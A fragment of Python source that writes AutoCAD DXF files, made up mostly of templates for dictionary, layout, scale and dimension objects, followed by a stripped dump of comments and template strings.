DICTIONARY
5
1A
102
{ACAD_REACTORS
330
C
102
}
330
C
100
AcDbDictionary
281
1
3
Model
350
22
3
Sheet1
350
1E
3
Sheet2
350
26
0
DICTIONARY
5
17
102
{ACAD_REACTORS
330
C
102
}
330
C
100
AcDbDictionary
281
1
3
Standard
350
18
0
DICTIONARY
5
19
102
{ACAD_REACTORS
330
C
102
}
330
C
100
AcDbDictionary
281
1
0
ACDBDICTIONARYWDFLT
5
E
102
{ACAD_REACTORS
330
C
102
}
330
C
100
AcDbDictionary
281
1
3
Normal
350
F
100
AcDbDictionaryWithDefault
340
F
0
DICTIONARY
5
40
102
{ACAD_REACTORS
330
C
102
}
330
C
100
AcDbDictionary
281
1
3
A0
350
41
3
A1
350
42
3
A2
350
43
3
A3
350
44
3
A4
350
45
3
A5
350
46
3
A6
350
47
3
A7
350
48
3
A8
350
49
3
A9
350
4A
3
B0
350
4B
3
B1
350
4C
3
B2
350
4D
3
B3
350
4E
3
B4
350
4F
3
B5
350
50
3
B6
350
51
3
B7
350
52
3
B8
350
53
3
B9
350
54
3
C0
350
55
3
C1
350
56
3
C2
350
57
3
C3
350
58
3
C4
350
59
3
C5
350
5A
3
C6
350
5B
3
C7
350
5C
3
C8
350
5D
3
C9
350
5E
3
D0
350
5F
3
D1
350
60
3
D2
350
61
0
DICTIONARY
5
B6
102
{ACAD_REACTORS
330
C
102
}
330
C
100
AcDbDictionary
281
1
0
DICTIONARY
5
3D
102
{ACAD_REACTORS
330
C
102
}
330
C
100
AcDbDictionary
281
1
3
HPTRANSPARENCY
350
BD
0
DICTIONARY
5
71
102
{ACAD_REACTORS
330
C
102
}
330
C
100
AcDbDictionary
281
1
0"""
self.write_list[6] += ('\n' + e)
e = """XRECORD
5
%(last_handle)s
102
{ACAD_REACTORS
330
C
102
}
330
C
100
AcDbXrecord
280
1
1
DWGPROPS COOKIE
2
3
4
6
7
8
9
300
=
301
=
302
=
303
=
304
=
305
=
306
=
307
=
308
=
309
=
40
0.0
41
2455022.637359514
42
2456836.719236111
1
90
0
0
LAYOUT
5
22
102
{ACAD_REACTORS
330
1A
102
}
330
1A
100
AcDbPlotSettings
1
2
none_device
4
ISO_A3_(420.00_x_297.00_MM)
6
40
7.5
41
20.0
42
7.5
43
20.0
44
420.0
45
297.0
46
20.78282828282826
47
0.0
48
0.0
49
0.0
140
0.0
141
0.0
142
1.0
143
1.155642023346303
70
1204
72
1
73
0
74
1
7
monochrome.ctb
75
0
147
0.8653198653198654
148
-134.1869158878504
149
0.0
100
AcDbLayout
1
Model
70
1
71
0
10
0.0
20
0.0
11
420.0
21
297.0
12
0.0
22
0.0
32
0.0
14
-4378.05165097843
24
-13966.58744661573
34
0.0
15
12217.17664974781
25
-360.9396126841557
35
0.0
146
0.0
13
0.0
23
0.0
33
0.0
16
1.0
26
0.0
36
0.0
17
0.0
27
1.0
37
0.0
76
0
330
1F
331
29
0
LAYOUT
5
1E
102
{ACAD_REACTORS
330
1A
102
}
330
1A
100
AcDbPlotSettings
1
2
none_device
4
6
40
0.0
41
0.0
42
0.0
43
0.0
44
0.0
45
0.0
46
0.0
47
0.0
48
0.0
49
0.0
140
0.0
141
0.0
142
1.0
143
1.0
70
688
72
0
73
0
74
5
7
75
16
147
1.0
148
0.0
149
0.0
100
AcDbLayout
1
Sheet1
70
1
71
1
10
0.0
20
0.0
11
420.0
21
297.0
12
0.0
22
0.0
32
0.0
14
1.000000000000000E+20
24
1.000000000000000E+20
34
1.000000000000000E+20
15
-1.000000000000000E+20
25
-1.000000000000000E+20
35
-1.000000000000000E+20
146
0.0
13
0.0
23
0.0
33
0.0
16
1.0
26
0.0
36
0.0
17
0.0
27
1.0
37
0.0
76
0
330
1B
0
LAYOUT
5
26
102
{ACAD_REACTORS
330
1A
102
}
330
1A
100
AcDbPlotSettings
1
2
none_device
4
6
40
0.0
41
0.0
42
0.0
43
0.0
44
0.0
45
0.0
46
0.0
47
0.0
48
0.0
49
0.0
140
0.0
141
0.0
142
1.0
143
1.0
70
688
72
0
73
0
74
5
7
75
16
147
1.0
148
0.0
149
0.0
100
AcDbLayout
1
Sheet2
70
1
71
2
10
0.0
20
0.0
11
0.0
21
0.0
12
0.0
22
0.0
32
0.0
14
0.0
24
0.0
34
0.0
15
0.0
25
0.0
35
0.0
146
0.0
13
0.0
23
0.0
33
0.0
16
1.0
26
0.0
36
0.0
17
0.0
27
1.0
37
0.0
76
0
330
23
0
MLINESTYLE
5
18
102
{ACAD_REACTORS
330
17
102
}
330
17
100
AcDbMlineStyle
2
Standard
70
0
3
62
256
51
90.0
52
90.0
71
2
49
0.5
62
256
6
BYLAYER
49
-0.5
62
256
6
BYLAYER
0
ACDBPLACEHOLDER
5
F
102
{ACAD_REACTORS
330
E
102
}
330
E
0
SCALE
5
41
102
{ACAD_REACTORS
330
40
102
}
330
40
100
AcDbScale
70
0
300
1:1
140
1.0
141
1.0
290
1
0
SCALE
5
42
102
{ACAD_REACTORS
330
40
102
}
330
40
100
AcDbScale
70
0
300
1:2
140
1.0
141
2.0
290
0
0
SCALE
5
43
102
{ACAD_REACTORS
330
40
102
}
330
40
100
AcDbScale
70
0
300
1:4
140
1.0
141
4.0
290
0
0
SCALE
5
44
102
{ACAD_REACTORS
330
40
102
}
330
40
100
AcDbScale
70
0
300
1:5
140
1.0
141
5.0
290
0
0
SCALE
5
45
102
{ACAD_REACTORS
330
40
102
}
330
40
100
AcDbScale
70
0
300
1:8
140
1.0
141
8.0
290
0
0
SCALE
5
46
102
{ACAD_REACTORS
330
40
102
}
330
40
100
AcDbScale
70
0
300
1:10
140
1.0
141
10.0
290
0
0
SCALE
5
47
102
{ACAD_REACTORS
330
40
102
}
330
40
100
AcDbScale
70
0
300
1:16
140
1.0
141
16.0
290
0
0
SCALE
5
48
102
{ACAD_REACTORS
330
40
102
}
330
40
100
AcDbScale
70
0
300
1:20
140
1.0
141
20.0
290
0
0
SCALE
5
49
102
{ACAD_REACTORS
330
40
102
}
330
40
100
AcDbScale
70
0
300
1:30
140
1.0
141
30.0
290
0
0
SCALE
5
4A
102
{ACAD_REACTORS
330
40
102
}
330
40
100
AcDbScale
70
0
300
1:40
140
1.0
141
40.0
290
0
0
SCALE
5
4B
102
{ACAD_REACTORS
330
40
102
}
330
40
100
AcDbScale
70
0
300
1:50
140
1.0
141
50.0
290
0
0
SCALE
5
4C
102
{ACAD_REACTORS
330
40
102
}
330
40
100
AcDbScale
70
0
300
1:100
140
1.0
141
100.0
290
0
0
SCALE
5
4D
102
{ACAD_REACTORS
330
40
102
}
330
40
100
AcDbScale
70
0
300
2:1
140
2.0
141
1.0
290
0
0
SCALE
5
4E
102
{ACAD_REACTORS
330
40
102
}
330
40
100
AcDbScale
70
0
300
4:1
140
4.0
141
1.0
290
0
0
SCALE
5
4F
102
{ACAD_REACTORS
330
40
102
}
330
40
100
AcDbScale
70
0
300
8:1
140
8.0
141
1.0
290
0
0
SCALE
5
50
102
{ACAD_REACTORS
330
40
102
}
330
40
100
AcDbScale
70
0
300
10:1
140
10.0
141
1.0
290
0
0
SCALE
5
51
102
{ACAD_REACTORS
330
40
102
}
330
40
100
AcDbScale
70
0
300
100:1
140
100.0
141
1.0
290
0
0
SCALE
5
52
102
{ACAD_REACTORS
330
40
102
}
330
40
100
AcDbScale
70
0
300
1/128" = 1'-0"
140
0.0078125
141
12.0
290
0
0
SCALE
5
53
102
{ACAD_REACTORS
330
40
102
}
330
40
100
AcDbScale
70
0
300
1/64" = 1'-0"
140
0.015625
141
12.0
290
0
0
SCALE
5
54
102
{ACAD_REACTORS
330
40
102
}
330
40
100
AcDbScale
70
0
300
1/32" = 1'-0"
140
0.03125
141
12.0
290
0
0
SCALE
5
55
102
{ACAD_REACTORS
330
40
102
}
330
40
100
AcDbScale
70
0
300
1/16" = 1'-0"
140
0.0625
141
12.0
290
0
0
SCALE
5
56
102
{ACAD_REACTORS
330
40
102
}
330
40
100
AcDbScale
70
0
300
3/32" = 1'-0"
140
0.09375
141
12.0
290
0
0
SCALE
5
57
102
{ACAD_REACTORS
330
40
102
}
330
40
100
AcDbScale
70
0
300
1/8" = 1'-0"
140
0.125
141
12.0
290
0
0
SCALE
5
58
102
{ACAD_REACTORS
330
40
102
}
330
40
100
AcDbScale
70
0
300
3/16" = 1'-0"
140
0.1875
141
12.0
290
0
0
SCALE
5
59
102
{ACAD_REACTORS
330
40
102
}
330
40
100
AcDbScale
70
0
300
1/4" = 1'-0"
140
0.25
141
12.0
290
0
0
SCALE
5
5A
102
{ACAD_REACTORS
330
40
102
}
330
40
100
AcDbScale
70
0
300
3/8" = 1'-0"
140
0.375
141
12.0
290
0
0
SCALE
5
5B
102
{ACAD_REACTORS
330
40
102
}
330
40
100
AcDbScale
70
0
300
1/2" = 1'-0"
140
0.5
141
12.0
290
0
0
SCALE
5
5C
102
{ACAD_REACTORS
330
40
102
}
330
40
100
AcDbScale
70
0
300
3/4" = 1'-0"
140
0.75
141
12.0
290
0
0
SCALE
5
5D
102
{ACAD_REACTORS
330
40
102
}
330
40
100
AcDbScale
70
0
300
1" = 1'-0"
140
1.0
141
12.0
290
0
0
SCALE
5
5E
102
{ACAD_REACTORS
330
40
102
}
330
40
100
AcDbScale
70
0
300
1-1/2" = 1'-0"
140
1.5
141
12.0
290
0
0
SCALE
5
5F
102
{ACAD_REACTORS
330
40
102
}
330
40
100
AcDbScale
70
0
300
3" = 1'-0"
140
3.0
141
12.0
290
0
0
SCALE
5
60
102
{ACAD_REACTORS
330
40
102
}
330
40
100
AcDbScale
70
0
300
6" = 1'-0"
140
6.0
141
12.0
290
0
0
SCALE
5
61
102
{ACAD_REACTORS
330
40
102
}
330
40
100
AcDbScale
70
0
300
1'-0" = 1'-0"
140
12.0
141
12.0
290
0
0
DICTIONARYVAR
5
BD
102
{ACAD_REACTORS
330
3D
102
}
330
3D
100
DictionaryVariables
280
0
1
ByLayer
0
ENDSEC
0
EOF"""
e = (e % self.h)
self.write_list[6] += ('\n' + e)
len_dxf = 0
for i in self.write_list:
for j in i:
if '\n' in j:
len_dxf += 1
len_dxf = 110000
if self._OBLIQUE == True:
self.write_list[3] += ('\n' + self.block_oblique_record)
self.write_list[4] += ('\n' + self.block_oblique)
self.write_list[0] = self.write_list[0].replace('MY_HANDSEED', format(len_dxf, '02x').upper())
self.write_list[2] = self.write_list[2].replace('\nMY_REACTORS', '')
self.write_list[3] = self.write_list[3].replace('\nMY_BLKREFS', '')
if not self.dim_list:
del self.write_list[2] | en | 0.257877 | # -*- coding: utf-8; -*- 0 SECTION 2 HEADER 9 $ACADVER 1 AC1015 9 $ACADMAINTVER 70 6 9 $DWGCODEPAGE 3 ANSI_1251 9 $INSBASE 10 0.0 20 0.0 30 0.0 9 $EXTMIN 10 1.000000000000000E+20 20 1.000000000000000E+20 30 1.000000000000000E+20 9 $EXTMAX 10 -1.000000000000000E+20 20 -1.000000000000000E+20 30 -1.000000000000000E+20 9 $LIMMIN 10 0.0 20 0.0 9 $LIMMAX 10 420.0 20 297.0 9 $ORTHOMODE 70 0 9 $REGENMODE 70 1 9 $FILLMODE 70 1 9 $QTEXTMODE 70 0 9 $MIRRTEXT 70 0 9 $LTSCALE 40 1.0 9 $ATTMODE 70 1 9 $TEXTSIZE 40 350.0 9 $TRACEWID 40 1.0 9 $TEXTSTYLE 7 Standard 9 $CLAYER 8 0 9 $CELTYPE 6 ByLayer 9 $CECOLOR 62 256 9 $CELTSCALE 40 1.0 9 $DISPSILH 70 0 9 $DIMSCALE 40 1.0 9 $DIMASZ 40 200.0 9 $DIMEXO 40 2.0 9 $DIMDLI 40 100.0 9 $DIMRND 40 0.0 9 $DIMDLE 40 0.0 9 $DIMEXE 40 200.0 9 $DIMTP 40 0.0 9 $DIMTM 40 0.0 9 $DIMTXT 40 350.0 9 $DIMCEN 40 2.5 9 $DIMTSZ 40 0.0 9 $DIMTOL 70 0 9 $DIMLIM 70 0 9 $DIMTIH 70 0 9 $DIMTOH 70 0 9 $DIMSE1 70 0 9 $DIMSE2 70 0 9 $DIMTAD 70 1 9 $DIMZIN 70 8 9 $DIMBLK 1 9 $DIMASO 70 1 9 $DIMSHO 70 1 9 $DIMPOST 1 9 $DIMAPOST 1 9 $DIMALT 70 0 9 $DIMALTD 70 3 9 $DIMALTF 40 0.03937007874016 9 $DIMLFAC 40 1.0 9 $DIMTOFL 70 1 9 $DIMTVP 40 0.0 9 $DIMTIX 70 0 9 $DIMSOXD 70 0 9 $DIMSAH 70 0 9 $DIMBLK1 1 9 $DIMBLK2 1 9 $DIMSTYLE 2 ISO-25 9 $DIMCLRD 70 0 9 $DIMCLRE 70 0 9 $DIMCLRT 70 0 9 $DIMTFAC 40 1.0 9 $DIMGAP 40 100.0 9 $DIMJUST 70 0 9 $DIMSD1 70 0 9 $DIMSD2 70 0 9 $DIMTOLJ 70 0 9 $DIMTZIN 70 8 9 $DIMALTZ 70 0 9 $DIMALTTZ 70 0 9 $DIMUPT 70 0 9 $DIMDEC 70 0 9 $DIMTDEC 70 2 9 $DIMALTU 70 2 9 $DIMALTTD 70 3 9 $DIMTXSTY 7 Standard 9 $DIMAUNIT 70 0 9 $DIMADEC 70 0 9 $DIMALTRND 40 0.0 9 $DIMAZIN 70 0 9 $DIMDSEP 70 46 9 $DIMATFIT 70 3 9 $DIMFRAC 70 0 9 $DIMLDRBLK 1 9 $DIMLUNIT 70 2 9 $DIMLWD 70 -2 9 $DIMLWE 70 -2 9 $DIMTMOVE 70 0 9 $LUNITS 70 2 9 $LUPREC 70 3 9 $SKETCHINC 40 1.0 9 $FILLETRAD 40 10.0 9 $AUNITS 70 0 9 $AUPREC 70 0 9 $MENU 1 . 9 $ELEVATION 40 0.0 9 $PELEVATION 40 0.0 9 $THICKNESS 40 0.0 9 $LIMCHECK 70 0 9 $CHAMFERA 40 10.0 9 $CHAMFERB 40 10.0 9 $CHAMFERC 40 20.0 9 $CHAMFERD 40 0.0 9 $SKPOLY 70 0 9 $TDCREATE 40 2455022.887359514 9 $TDUCREATE 40 2455022.637359514 9 $TDUPDATE 40 2456833.780451389 9 $TDUUPDATE 40 2456833.530451389 9 $TDINDWG 40 0.0 9 $TDUSRTIMER 40 2456833.52087963 9 $USRTIMER 70 1 9 $ANGBASE 50 0.0 9 $ANGDIR 70 0 9 $PDMODE 70 0 9 $PDSIZE 40 0.0 9 $PLINEWID 40 0.0 9 $SPLFRAME 70 0 9 $SPLINETYPE 70 6 9 $SPLINESEGS 70 8 9 $HANDSEED 5 MY_HANDSEED 9 $SURFTAB1 70 6 9 $SURFTAB2 70 6 9 $SURFTYPE 70 6 9 $SURFU 70 6 9 $SURFV 70 6 9 $UCSBASE 2 9 $UCSNAME 2 9 $UCSORG 10 0.0 20 0.0 30 0.0 9 $UCSXDIR 10 1.0 20 0.0 30 0.0 9 $UCSYDIR 10 0.0 20 1.0 30 0.0 9 $UCSORTHOREF 2 9 $UCSORTHOVIEW 70 0 9 $UCSORGTOP 10 0.0 20 0.0 30 0.0 9 $UCSORGBOTTOM 10 0.0 20 0.0 30 0.0 9 $UCSORGLEFT 10 0.0 20 0.0 30 0.0 9 $UCSORGRIGHT 10 0.0 20 0.0 30 0.0 9 $UCSORGFRONT 10 0.0 20 0.0 30 0.0 9 $UCSORGBACK 10 0.0 20 0.0 30 0.0 9 $PUCSBASE 2 9 $PUCSNAME 2 9 $PUCSORG 10 0.0 20 0.0 30 0.0 9 $PUCSXDIR 10 1.0 20 0.0 30 0.0 9 $PUCSYDIR 10 0.0 20 1.0 30 0.0 9 $PUCSORTHOREF 2 9 $PUCSORTHOVIEW 70 0 9 $PUCSORGTOP 10 0.0 20 0.0 30 0.0 9 $PUCSORGBOTTOM 10 0.0 20 0.0 30 0.0 9 $PUCSORGLEFT 10 0.0 20 0.0 30 0.0 9 $PUCSORGRIGHT 10 0.0 20 0.0 30 0.0 9 $PUCSORGFRONT 10 0.0 20 0.0 30 0.0 9 $PUCSORGBACK 10 0.0 20 0.0 30 0.0 9 $USERI1 70 0 9 $USERI2 70 0 9 $USERI3 70 0 9 $USERI4 70 0 9 $USERI5 70 0 9 $USERR1 40 0.0 9 $USERR2 40 0.0 9 $USERR3 40 0.0 9 $USERR4 40 0.0 9 $USERR5 40 0.0 9 $WORLDVIEW 70 1 9 $SHADEDGE 70 3 9 $SHADEDIF 70 70 9 $TILEMODE 70 1 9 $MAXACTVP 70 64 9 $PINSBASE 10 0.0 20 0.0 30 0.0 9 $PLIMCHECK 70 0 9 $PEXTMIN 10 1.000000000000000E+20 20 1.000000000000000E+20 30 1.000000000000000E+20 9 $PEXTMAX 10 -1.000000000000000E+20 20 -1.000000000000000E+20 30 -1.000000000000000E+20 9 $PLIMMIN 10 0.0 20 0.0 9 $PLIMMAX 10 0.0 20 0.0 9 $UNITMODE 70 0 9 $VISRETAIN 70 1 9 $PLINEGEN 70 0 9 $PSLTSCALE 70 1 9 $TREEDEPTH 70 3020 9 $CMLSTYLE 2 Standard 9 $CMLJUST 70 0 9 $CMLSCALE 40 20.0 9 $PROXYGRAPHICS 70 1 9 $MEASUREMENT 70 1 9 $CELWEIGHT 370 -1 9 $ENDCAPS 280 0 9 $JOINSTYLE 280 0 9 $LWDISPLAY 290 0 9 $INSUNITS 70 4 9 $HYPERLINKBASE 1 9 $STYLESHEET 1 9 $XEDIT 290 1 9 $CEPSNTYPE 380 0 9 $PSTYLEMODE 290 1 9 $FINGERPRINTGUID 2 {EC6BB858-51AA-46EC-B484-6C9CC7AB3E2E} 9 $VERSIONGUID 2 {FAEB1C32-E019-11D5-929B-00C0DF256EC4} 9 $EXTNAMES 290 1 9 $PSVPSCALE 40 0.0 9 $OLESTARTUP 290 0 0 ENDSEC 0 SECTION 2 CLASSES 0 CLASS 1 ACDBDICTIONARYWDFLT 2 AcDbDictionaryWithDefault 3 ObjectDBX Classes 90 0 280 0 281 0 0 CLASS 1 VISUALSTYLE 2 AcDbVisualStyle 3 ObjectDBX Classes 90 4095 280 0 281 0 0 CLASS 1 TABLESTYLE 2 AcDbTableStyle 3 ObjectDBX Classes 90 4095 280 0 281 0 0 CLASS 1 DICTIONARYVAR 2 AcDbDictionaryVar 3 ObjectDBX Classes 90 0 280 0 281 0 0 CLASS 1 SCALE 2 AcDbScale 3 ObjectDBX Classes 90 1153 280 0 281 0 0 CLASS 1 CELLSTYLEMAP 2 AcDbCellStyleMap 3 ObjectDBX Classes 90 1152 280 0 281 0 0 CLASS 1 RASTERVARIABLES 2 AcDbRasterVariables 3 ISM 90 0 280 0 281 0 0 CLASS 1 MATERIAL 2 AcDbMaterial 3 ObjectDBX Classes 90 1153 280 0 281 0 0 CLASS 1 SUN 2 AcDbSun 3 SCENEOE 90 1153 280 0 281 0 0 CLASS 1 ACDBPLACEHOLDER 2 AcDbPlaceHolder 3 ObjectDBX Classes 90 0 280 0 281 0 0 CLASS 1 LAYOUT 2 AcDbLayout 3 ObjectDBX Classes 90 0 280 0 281 0 0 ENDSEC 0 SECTION 2 TABLES 0 TABLE 2 VPORT 5 8 330 0 100 AcDbSymbolTable 70 1 0 VPORT 5 29 330 8 100 AcDbSymbolTableRecord 100 AcDbViewportTableRecord 2 *Active 70 0 10 0.0 20 0.0 11 1.0 21 1.0 12 4567.945342688919 22 -290.378497865131 13 0.0 23 0.0 14 10.0 24 10.0 15 10.0 25 10.0 16 0.0 26 0.0 36 1.0 17 -134.1869158878508 27 0.0 37 0.0 40 8758.433978073293 41 1.871915393654524 42 50.0 43 0.0 44 0.0 50 0.0 51 0.0 71 16 72 1000 73 1 74 3 75 0 76 0 77 0 78 0 281 0 65 1 110 0.0 120 0.0 130 0.0 111 1.0 121 0.0 131 0.0 112 0.0 122 1.0 132 0.0 79 0 146 0.0 0 ENDTAB 0 TABLE 2 LTYPE 5 5 330 0 100 AcDbSymbolTable 70 4 0 LTYPE 5 14 330 5 100 AcDbSymbolTableRecord 100 AcDbLinetypeTableRecord 2 ByBlock 70 0 3 72 65 73 0 40 0.0 0 LTYPE 5 15 330 5 100 AcDbSymbolTableRecord 100 AcDbLinetypeTableRecord 2 ByLayer 70 0 3 72 65 73 0 40 0.0 0 LTYPE 5 16 330 5 100 AcDbSymbolTableRecord 100 AcDbLinetypeTableRecord 2 Continuous 70 0 3 Solid line 72 65 73 0 40 0.0 0 LTYPE 5 B7 330 5 100 AcDbSymbolTableRecord 100 AcDbLinetypeTableRecord 2 CENTER 70 0 3 Center _____ _ _____ _ _____ _ _____ _ 72 65 73 4 40 50.8 49 31.75 74 0 49 -6.35 74 0 49 6.35 74 0 49 -6.35 74 0 0 LTYPE 5 B8 330 5 100 AcDbSymbolTableRecord 100 AcDbLinetypeTableRecord 2 DASHED 70 0 3 Dashed __ __ __ __ __ __ __ __ __ __ 72 65 73 2 40 19.05 49 12.7 74 0 49 -6.35 74 0 0 LTYPE 5 B9 330 5 100 AcDbSymbolTableRecord 100 AcDbLinetypeTableRecord 2 PHANTOM 70 0 3 Phantom _____ _ _ _____ _ _ _____ _ _ 72 65 73 6 40 63.50000000000001 49 31.75 74 0 49 -6.35 74 0 49 6.35 74 0 49 -6.35 74 0 49 6.35 74 0 49 -6.35 74 0 0 ENDTAB 0 TABLE 2 LAYER 5 2 330 0 100 AcDbSymbolTable 70 2 0 LAYER 5 10 330 2 100 AcDbSymbolTableRecord 100 AcDbLayerTableRecord 2 0 70 0 62 7 6 Continuous 370 -3 390 F 0 LAYER 5 BA 330 2 100 AcDbSymbolTableRecord 100 AcDbLayerTableRecord 2 Defpoints 70 0 62 7 6 Continuous 290 0 370 -3 390 F 0 #1 ENDTAB 0 TABLE 2 STYLE 5 3 330 0 100 AcDbSymbolTable 70 1 0 STYLE 5 11 330 3 100 AcDbSymbolTableRecord 100 AcDbTextStyleTableRecord 2 Standard 70 0 40 0.0 41 0.7 50 0.0 71 0 42 350 3 txt 4 0 ENDTAB 0 TABLE 2 VIEW 5 6 330 0 100 AcDbSymbolTable 70 0 0 ENDTAB 0 TABLE 2 UCS 5 7 330 0 100 AcDbSymbolTable 70 0 0 ENDTAB 0 TABLE 2 APPID 5 9 330 0 100 AcDbSymbolTable 70 1 0 APPID 5 12 330 9 100 AcDbSymbolTableRecord 100 AcDbRegAppTableRecord 2 ACAD 70 0 0 ENDTAB 0 TABLE 2 DIMSTYLE 5 A 330 0 100 AcDbSymbolTable 70 1 100 AcDbDimStyleTable 0 DIMSTYLE 105 27 #2 102 {ACAD_REACTORS MY_REACTORS 102 } #3 330 A 100 AcDbSymbolTableRecord 100 AcDbDimStyleTableRecord 2 ISO-25 70 0 41 200.0 42 100.0 43 100.0 44 100.0 46 100.0 73 0 74 0 77 1 78 8 140 350.0 141 2.5 143 0.03937007874016 147 50.0 171 3 172 1 178 0 271 0 272 2 274 3 278 44 283 0 284 8 340 11 0 ENDTAB 0 TABLE 2 BLOCK_RECORD 5 1 330 0 100 AcDbSymbolTable 70 3 0 BLOCK_RECORD 5 1F 330 1 100 AcDbSymbolTableRecord 100 AcDbBlockTableRecord 2 *Model_Space 340 22 0 BLOCK_RECORD 5 1B 330 1 100 AcDbSymbolTableRecord 100 AcDbBlockTableRecord 2 *Paper_Space 340 1E 0 BLOCK_RECORD 5 23 330 1 100 AcDbSymbolTableRecord 100 AcDbBlockTableRecord 2 *Paper_Space0 340 26 0 #4 ENDTAB 0 ENDSEC 0 SECTION 2 BLOCKS 0 BLOCK 5 20 330 1F 100 AcDbEntity 8 0 100 AcDbBlockBegin 2 *Model_Space 70 0 10 0.0 20 0.0 30 0.0 3 *Model_Space 1 *Model_Space 0 ENDBLK 5 21 330 1F 100 AcDbEntity 8 0 100 AcDbBlockEnd 0 BLOCK 5 1C 330 1B 100 AcDbEntity 67 1 8 0 100 AcDbBlockBegin 2 *Paper_Space 70 0 10 0.0 20 0.0 30 0.0 3 *Paper_Space 1 *Paper_Space 0 ENDBLK 5 1D 330 1B 100 AcDbEntity 67 1 8 0 100 AcDbBlockEnd 0 BLOCK 5 24 330 23 100 AcDbEntity 8 0 100 AcDbBlockBegin 2 *Paper_Space0 70 0 10 0.0 20 0.0 30 0.0 3 *Paper_Space0 1 *Paper_Space0 0 ENDBLK 5 25 330 23 100 AcDbEntity 8 0 100 AcDbBlockEnd 0 #5 ENDSEC 0 SECTION 2 ENTITIES 0 #6 DIMENSION 5 %(handle)s 330 1F 100 AcDbEntity 8 0 62 %(fill)s 100 AcDbDimension 2 *%(dim_ind)s 10 %(arrow_point2_x)s 20 %(arrow_point2_y)s 30 0.0 11 %(text_x)s 21 %(text_y)s 31 0.0 70 160 71 5 42 %(dim_distanse)s 3 ISO-25 100 AcDbAlignedDimension 13 %(x1)s 23 %(y1)s 33 0.0 14 %(x2)s 24 %(y2)s 34 0.0 50 %(angle)s 100 AcDbRotatedDimension 330 %(handle)s BLOCK_RECORD 5 %(handle)s 330 1 100 AcDbSymbolTableRecord 100 AcDbBlockTableRecord 2 *%(dim_ind)s 340 0 0 BLOCK 5 %(handle2)s 330 %(handle)s 100 AcDbEntity 8 0 100 AcDbBlockBegin 2 *%(dim_ind)s 70 1 10 0.0 20 0.0 30 0.0 3 *%(dim_ind)s 1 *%(dim_ind)s 0 LINE 5 %(handle2)s 330 %(handle)s 100 AcDbEntity 8 0 62 0 370 -2 100 AcDbLine 10 %(line_1_x1)s 20 %(line_1_y1)s 30 0.0 11 %(line_1_x2)s 21 %(line_1_y2)s 31 0.0 0 LINE 5 %(handle2)s 330 %(handle)s 100 AcDbEntity 8 0 62 0 370 -2 100 AcDbLine 10 %(line_2_x1)s 20 %(line_2_y1)s 30 0.0 11 %(line_2_x2)s 21 %(line_2_y2)s 31 0.0 0 LINE 5 %(handle2)s 330 %(handle)s 100 AcDbEntity 8 0 62 0 370 -2 100 AcDbLine 10 %(line_3_x1)s 20 %(line_3_y1)s 30 0.0 11 %(line_3_x2)s 21 %(line_3_y2)s 31 0.0 0 INSERT 5 %(handle2)s 330 %(handle)s 100 AcDbEntity 8 0 62 0 370 -2 100 AcDbBlockReference 2 _OBLIQUE 10 %(arrow_point1_x)s 20 %(arrow_point1_y)s 30 0.0 41 %(arrow_s)s 42 %(arrow_s)s 43 %(arrow_s)s 50 %(angle_arrow1)s 0 331 %(handle2)s #self.write_list[3] = self.write_list[3].replace('MY_BLKREFS', (e + '\n' + 'MY_BLKREFS')) INSERT 5 %(handle2)s 330 %(handle)s 100 AcDbEntity 8 0 62 0 370 -2 100 AcDbBlockReference 2 _OBLIQUE 10 %(arrow_point2_x)s 20 %(arrow_point2_y)s 30 0.0 41 %(arrow_s)s 42 %(arrow_s)s 43 %(arrow_s)s #print self.config_dict[i]['angle_arrow2'] 50 %(angle_arrow2)s 0 331 %(handle2)s #self.write_list[3] = self.write_list[3].replace('MY_BLKREFS', (e + '\n' + 'MY_BLKREFS')) SOLID 5 %(handle2)s 330 %(handle)s 100 AcDbEntity 8 0 62 0 100 AcDbTrace 10 %(arrow_1_x2)s 20 %(arrow_1_y2)s 30 0.0 11 %(arrow_5_x)s 21 %(arrow_5_y)s 31 0.0 12 %(arrow_2_x2)s 22 %(arrow_2_y2)s 32 0.0 13 %(arrow_1_x1)s 23 %(arrow_1_y1)s 33 0.0 0 SOLID 5 %(handle2)s 330 %(handle)s 100 AcDbEntity 8 0 62 0 100 AcDbTrace 10 %(arrow_3_x2)s 20 %(arrow_3_y2)s 30 0.0 11 %(arrow_6_x)s 21 %(arrow_6_y)s 31 0.0 12 %(arrow_4_x2)s 22 %(arrow_4_y2)s 32 0.0 13 %(arrow_3_x1)s 23 %(arrow_3_y1)s 33 0.0 0 MTEXT 5 %(handle2)s 330 %(handle)s 100 AcDbEntity 8 0 62 0 100 AcDbMText 10 %(text_xx)s 20 %(text_yy)s 30 0.0 40 %(size)s 41 0.0 71 5 72 1 1 %(dim_distanse)s 11 0.0 21 1.0 31 0.0 73 1 44 1.0 0 POINT 5 %(handle2)s 330 %(handle)s 100 AcDbEntity 8 Defpoints 62 0 100 AcDbPoint 10 %(line_1_x1)s 20 %(line_1_y1)s 30 0.0 0 POINT 5 %(handle2)s 330 %(handle)s 100 AcDbEntity 8 Defpoints 62 0 100 AcDbPoint 10 %(line_2_x1)s 20 %(line_2_y1)s 30 0.0 0 POINT 5 %(handle2)s 330 %(handle)s 100 AcDbEntity 8 Defpoints 62 0 100 AcDbPoint 10 %(arrow_point2_x)s 20 %(arrow_point2_y)s 30 0.0 0 #hand() #self.config_dict[i]['handle2'] = self.handle ENDBLK 5 %(handle_BLOCK_end)s 330 %(handle)s 100 AcDbEntity 8 0 100 AcDbBlockEnd 0 BLOCK_RECORD 5 %(handle2)s 330 1 100 AcDbSymbolTableRecord 100 AcDbBlockTableRecord 2 _OBLIQUE 340 0 102 {BLKREFS 331 %(MY_1_BLKREFS)s 331 %(MY_2_BLKREFS)s MY_BLKREFS 102 } 0 #self.write_list[3] += ('\n' + e) BLOCK 5 %(handle2)s 330 %(oblique_records_handle)s 100 AcDbEntity 8 0 100 AcDbBlockBegin 2 _OBLIQUE 70 0 10 0.0 20 0.0 30 0.0 3 _OBLIQUE 1 _OBLIQUE 0 #self.write_list[4] += ('\n' + e) LINE 5 %(handle2)s 330 %(oblique_records_handle)s 100 AcDbEntity 8 0 6 ByBlock 62 0 370 -2 100 AcDbLine 10 -0.5 20 -0.5 30 0.0 11 0.5 21 0.5 31 0.0 0 #hand() #self._OBLIQUE_BLOCK_RECORDS['handle2'] = self.handle ENDBLK 5 %(handle_OBLIQUE_BLOCK)s 330 %(oblique_records_handle)s 100 AcDbEntity 8 0 100 AcDbBlockEnd 0 #hand() 1001 ACAD 1000 DSTYLE 1002 { 1070 173 1070 1 1070 342 1005 0 1070 344 1005 %(oblique_records_handle)s 1070 343 1005 